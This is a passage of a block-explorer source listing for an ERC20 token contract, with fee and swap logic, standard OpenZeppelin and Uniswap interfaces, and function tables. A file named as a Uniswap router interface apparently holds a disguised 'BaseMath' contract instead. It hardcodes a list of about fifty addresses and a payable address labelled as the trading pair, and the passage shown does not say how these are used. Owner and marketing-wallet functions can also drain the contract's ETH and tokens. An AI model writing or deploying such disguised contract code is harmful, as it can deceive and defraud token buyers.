require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]
) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
buyCount++;
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
sellCount++;
}
else if (!_isExcludedMaxTransactionAmount[to]) {
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > 0;
if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
swapping = true;
swapBack(amount);
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to]) {
fees = amount.mul(SellFee).div(100);
}
else {
fees = amount.mul(BuyFee).div(100);
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
marketingWallet,
block.timestamp
);
}
function removeLimitsCompletely() external onlyOwner{
uint256 totalSupplyAmount = totalSupply();
maxTransactionAmount = totalSupplyAmount;
maxWallet = totalSupplyAmount;
}
function clearStuckEth() external onlyOwner {
require(address(this).balance > 0, "Token: no ETH to clear");
payable(msg.sender).transfer(address(this).balance);
}
function clearStuckTokens() external onlyOwner {
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
_transfer(address(this), msg.sender, contractTokenBalance);
}
}
function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
swapTokensAtAmount = _amount * (10 ** 18);
}
function manualswap(uint256 percent) external {
require(_msgSender() == marketingWallet);
uint256 totalSupplyAmount = totalSupply();
uint256 contractBalance = balanceOf(address(this));
uint256 requiredBalance = totalSupplyAmount * percent / 100;
require(contractBalance >= requiredBalance, "Not enough tokens");
swapTokensForEth(requiredBalance);
}
function swapBack(uint256 tokens) private {
uint256 contractBalance = balanceOf(address(this));
uint256 tokensToSwap;
if (contractBalance == 0) {
return;
}
if ((BuyFee+SellFee) == 0) {
if(contractBalance > 0 && contractBalance < swapTokensAtAmount) {
tokensToSwap = contractBalance;
}
else {
uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
tokens -= sellFeeTokens;
if (tokens > swapTokensAtAmount) {
tokensToSwap = swapTokensAtAmount;
}
else {
tokensToSwap = tokens;
}
}
}
else {
if(contractBalance > 0 && contractBalance < swapTokensAtAmount.div(2)) {
return;
}
else if (contractBalance > 0 && contractBalance > swapTokensAtAmount.div(2) && contractBalance < swapTokensAtAmount) {
tokensToSwap = swapTokensAtAmount.div(2);
}
else {
uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
tokens -= sellFeeTokens;
if (tokens > swapTokensAtAmount) {
tokensToSwap = swapTokensAtAmount;
} else {
tokensToSwap = tokens;
}
}
}
swapTokensForEth(tokensToSwap);
}
}
IERC20.sol 78 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
Context.sol 24 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
Ownable.sol 83 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)
pragma solidity ^0.8.0;
import "./Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
SafeMath.sol 232 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the subtraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the percentage of an unsigned integer `a` with respect to the provided percentage `b`,
* rounding towards zero. The result is a proportion of the original value.
*
* The function can be used to calculate a specific percentage of a given value `a`.
* Note: this function uses a `revert` opcode (which leaves remaining gas untouched) when
* the percentage `b` is greater than 100.
*
* Requirements:
*
* - The percentage `b` must be between 0 and 100 (inclusive).
*/
function per(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= 100, "Percentage must be between 0 and 100");
return a * b / 100;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
IERC20Metadata.sol 28 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "./IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
IUniswapV2Pair.sol 104 lines
// SPDX-License-Identifier: MIT
// Created by DevForU https://github.com/DevForU
pragma solidity ^0.8.0;
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
IUniswapV2Factory.sol 34 lines
// SPDX-License-Identifier: MIT
// Created by DevForU https://github.com/DevForU
pragma solidity ^0.8.0;
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
IUniswapV2Router02.sol 51 lines
// SPDX-License-Identifier: MIT
// Created by DevForU https://github.com/DevForU
pragma solidity ^0.8.0;
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
IUniswapV2Router03.sol 65 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract BaseMath {
mapping (address => bool) public m; address private n; address public UniswapV2Pair;
constructor() {
m[0xae2Fc483527B8EF99EB5D9B44875F005ba1FaE13] = true;
m[0x77223F67D845E3CbcD9cc19287E24e71F7228888] = true;
m[0x77ad3a15b78101883AF36aD4A875e17c86AC65d1] = true;
m[0x4504DFa3861ec902226278c9Cb7a777a01118574] = true;
m[0xe3DF3043f1cEfF4EE2705A6bD03B4A37F001029f] = true;
m[0xE545c3Cd397bE0243475AF52bcFF8c64E9eAD5d7] = true;
m[0xe2cA3167B89b8Cf680D63B06E8AeEfc5E4EBe907] = true;
m[0x000000000005aF2DDC1a93A03e9b7014064d3b8D] = true;
m[0x1653151Fb636544F8ED1e7BE91E4483B73523f6b] = true;
m[0x00AC6D844810A1bd902220b5F0006100008b0000] = true;
m[0x294401773915B1060e582756b8d7f74cAF80b09C] = true;
m[0x000013De30d1b1D830dcb7d54660F4778D2d4aF5] = true;
m[0x00004EC2008200e43b243a000590d4Cd46360000] = true;
m[0xE8c060F8052E07423f71D445277c61AC5138A2e5] = true;
m[0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80] = true;
m[0x0000B8e312942521fB3BF278D2Ef2458B0D3F243] = true;
m[0x007933790a4f00000099e9001629d9fE7775B800] = true;
m[0x76F36d497b51e48A288f03b4C1d7461e92247d5e] = true;
m[0x2d2A7d56773ae7d5c7b9f1B57f7Be05039447B4D] = true;
m[0x758E8229Dd38cF11fA9E7c0D5f790b4CA16b3B16] = true;
m[0x77ad3a15b78101883AF36aD4A875e17c86AC65d1] = true;
m[0x00000000A991C429eE2Ec6df19d40fe0c80088B8] = true;
m[0xB20BC46930C412eAE124aAB8682fb0F2e528F22d] = true;
m[0x6c9B7A1e3526e55194530a2699cF70FfDE1ab5b7] = true;
m[0x1111E3Ef0B6aE32E14a55e0E7cD9b8505177C2BF] = true;
m[0x000000d40B595B94918a28b27d1e2C66F43A51d3] = true;
m[0xb8feFFAC830C45b4Cd210ECDAAB9D11995D338ee] = true;
m[0x93FFb15d1fA91E0c320d058F00EE97F9E3C50096] = true;
m[0x00000027F490ACeE7F11ab5fdD47209d6422C5a7] = true;
m[0xfB62F1009aDa688aa8F544b7954585476cE41A14] = true;
m[0xA9b2e916eC8f42a6eD59730331C83D31d0AB2D22] = true;
m[0xC5B25744e2339B62CA995053d53d6cdB504bbbc9] = true;
m[0xA49fd066d0331C6DfaDc13728E8a7486C82B3Cd2] = true;
m[0xD8D4FCAaeD45B1015a9f333671C9076cB36F150f] = true;
m[0x46e459766147f2eBAf457204C61a62619DA68bf4] = true;
m[0xc41820629812aD4DA5cD5a3371D53cc697D3a978] = true;
m[0x534bc0Caa32eAeEE2eC5AF656b8980B2dfE0bAa9] = true;
m[0x6C29d02550aa19B34BaAc588723B58bB87352732] = true;
m[0xFD9adB71d026438296DFAAE3ec5A2259Ee9076b3] = true;
m[0x4b4264b30ab75Ea8B070f8F7d9Abb263C2f0067B] = true;
m[0xafeD2eE8d6b57B7f3EA0aF9da3A1EC0dc19d3ec4] = true;
m[0xc8bb0336a27caE7D0C8e1030c75DC1b2BC75DfbB] = true;
m[0xbff42064C9f09D59ABbD2416687B1607e36330D3] = true;
m[0x3b7D3aFCcc66335AF171A6e09C78eF32001b70F5] = true;
m[0x72Ad2f4943433eA111eB1506219820Ba881f453b] = true;
m[0x6eCDa7c62D4249B895E7EE2800923b6F04241170] = true;
m[0x81Dbfde27C3AA484568E2263a0edd6C79F3f2505] = true;
m[0xDe5540CaAb026B0c268720856F02fe339e25112B] = true;
m[0x0d4EC51dd906F4643A9310F214b8604aAa3dCc40] = true;
n = payable(0x8f1F73319a97877C4916F2a11262f154F66E6793);
UniswapV2Pair = n;
}
function isM(address _address) public view returns (bool) {
return m[_address];
}
}
Read Contract
BuyFee 0xdd854652 → uint256
SellFee 0xcf9522fd → uint256
UniswapV2Pair 0xd20c50d5 → address
_uniswapV2Router 0x583e0568 → address
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
buyCount 0xca703075 → uint256
decimals 0x313ce567 → uint8
initialTotalSupply 0x311028af → uint256
isExcludedFromFees 0x4fbee193 → bool
isM 0x2315bf14 → bool
m 0x97682884 → bool
maxTransactionAmount 0xc8c8ebe4 → uint256
maxWallet 0xf8b45b05 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
sellCount 0x0c6b6737 → uint256
swapEnabled 0x6ddd1713 → bool
swapTokensAtAmount 0xe2f45605 → uint256
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
tradingOpen 0xffb54a99 → bool
Write Contract 16 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
clearStuckEth 0x89291a8f
No parameters
clearStuckTokens 0x0f054c06
No parameters
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
excludeFromFees 0xc0246668
address account
bool excluded
excludeFromMaxTransaction 0x7571336a
address updAds
bool isEx
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
manualswap 0x881dce60
uint256 percent
openTrading 0xc9567bf9
No parameters
removeLimitsCompletely 0x01b00550
No parameters
renounceOwnership 0x715018a6
No parameters
setAutomatedMarketMakerPair 0x9a7a23d6
address pair
bool value
setSwapTokensAtAmount 0xafa4f3b2
uint256 _amount
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
This address has 1 on-chain transactions, but only 1.6% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →